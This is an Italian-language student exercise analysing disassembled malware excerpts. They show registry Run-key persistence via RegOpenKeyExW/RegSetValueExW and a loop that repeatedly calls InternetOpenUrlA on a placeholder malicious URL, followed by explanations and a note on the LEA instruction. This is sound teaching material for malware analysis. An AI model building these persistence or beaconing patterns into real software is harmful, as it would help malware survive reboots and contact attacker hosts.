S11/L1 Esercizio 04/12/2023

Nell'esercitazione odierna, dati gli estratti di un malware, dobbiamo rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL
- BONUS: qual è il significato e il funzionamento del comando assembly "lea"

Codice 1

```
)040286F   push    2               ; samDesired
)0402871   push    eax             ; ulOptions
)0402872   push    offset SubKey   ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
)0402877   push    HKEY_LOCAL_MACHINE ; hKey
)040287C   call    esi ; RegOpenKeyExW
)040287E   test    eax, eax
)0402880   jnz     short loc_4028C5
)0402882
)0402882 loc_402882:
)0402882   lea     ecx, [esp+424h+Data]
)0402886   push    ecx             ; lpString
)0402887   mov     bl, 1
)0402889   call    ds:lstrlenW
)040288F   lea     edx, [eax+eax+2]
)0402893   push    edx             ; cbData
)0402894   mov     edx, [esp+428h+hKey]
)0402898   lea     eax, [esp+428h+Data]
)040289C   push    eax             ; lpData
)040289D   push    1               ; dwType
)040289F   push    0               ; Reserved
)04028A1   lea     ecx, [esp+434h+ValueName]
)04028A8   push    ecx             ; lpValueName
)04028A9   push    edx             ; hKey
)04028AA   call    ds:RegSetValueExW
```

Codice 2

```
.text:00401150 ; ||||||||||||||| S U B R O U T I N E |||||||||||||||||||||||||||||||||||||
.text:00401150
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress    proc near               ; DATA XREF: sub_401040+EC↑o
.text:00401150                 push    esi
.text:00401151                 push    edi
.text:00401152                 push    0               ; dwFlags
.text:00401154                 push    0               ; lpszProxyBypass
.text:00401156                 push    0               ; lpszProxy
.text:00401158                 push    1               ; dwAccessType
.text:0040115A                 push    offset szAgent  ; "Internet Explorer 8.0"
.text:0040115F                 call    ds:InternetOpenA
.text:00401165                 mov     edi, ds:InternetOpenUrlA
.text:0040116B                 mov     esi, eax
.text:0040116D
.text:0040116D loc_40116D:                             ; CODE XREF: StartAddress+30↓j
.text:0040116D                 push    0               ; dwContext
.text:0040116F                 push    80000000h       ; dwFlags
.text:00401174                 push    0               ; dwHeadersLength
.text:00401176                 push    0               ; lpszHeaders
.text:00401178                 push    offset szUrl    ; "http://www.malware12COM
.text:0040117D                 push    esi             ; hInternet
.text:0040117E                 call    edi ; InternetOpenUrlA
.text:00401180                 jmp     short loc_40116D
.text:00401180 StartAddress    endp
.text:00401180
```

Persistenza

La persistenza si riferisce al fatto che il malware aggiunge sé stesso alle entry dei programmi che devono essere avviati all'avvio del PC in modo tale da essere eseguiti in maniera automatica e permanente senza l'azione dell'utente.

Quesito 1

Il primo blocco sembra essere una chiamata alla funzione, leggiamo infatti le istruzioni "push" che stanno preparando la chiamata alla funzione e "call: RegOpenKeyExW" (evidenziata in verde), che apre una chiave del registro di sistema di Windows. In questo caso tenta di aprire la chiave di registro "Software-Microsoft-Windows-CurrentVersion-Run" sotto la sezione "HKEY_LOCAL_MACHINE" dove sono contenuti i record e le configurazioni della macchina. Questa chiave di registro è spesso utilizzata per definire programmi che devono essere eseguiti all'avvio del sistema operativo. Se la chiamata a RegOpenKeyExW ha successo, il codice successivo imposta alcuni parametri e chiama RegSetValueExW (in blu) per scrivere un nuovo valore all'interno del registro e per settarne i dati.
Quindi, in sostanza, il malware utilizza la persistenza modificando le chiavi del registro per assicurarsi che venga eseguito ogni volta che il sistema viene avviato e dunque risultare sempre attivo. Questo è un metodo comune per i malware per garantire una presenza continua nel sistema e per eseguire azioni dannose in modo persistente.

Quesito 2 e 3

Nel secondo blocco alla riga ".text:0040115A push offset szAgent ; Internet Explorer 8.0" (evidenziata in giallo) si vede chiaramente che c'è un tentativo di aprire Internet Explorer per accedere ad un URL specifico, in questo caso http://www.malware12com (in rosso), indubbiamente trattasi di un sito dannoso. Il resto del codice evidenziato è esattamente la chiamata di funzione che permette al malware di connettersi all'URL dove:

- "Push esi ; hInternet" è l'handle della sessione internet, ottenuto precedentemente dalla chiamata a "InternetOpenA"
- La chiamata (call) a "InternetOpenUrlA" viene effettuata Questa funzione apre l'URL specificato e restituisce un handle che può essere utilizzato per leggere i dati dall'URL o per eseguire altre operazioni relative alla connessione Internet.

Quesito bonus

LEA (Load Effective Address) in assembly è utilizzata per caricare l'indirizzo di memoria specificato e caricarlo in un registro, senza accedere o leggere il contenuto della memoria stessa. Nel primo blocco di codice, nello specifico, troviamo tutte le istruzioni evidenziate in arancione e sono utilizzate per calcolare gli indirizzi di variabili o dati necessari per le chiamate successive a funzioni come "lstrlenW" e "RegSetValueExW", consentendo al malware di manipolare dinamicamente le informazioni nel Registro di sistema.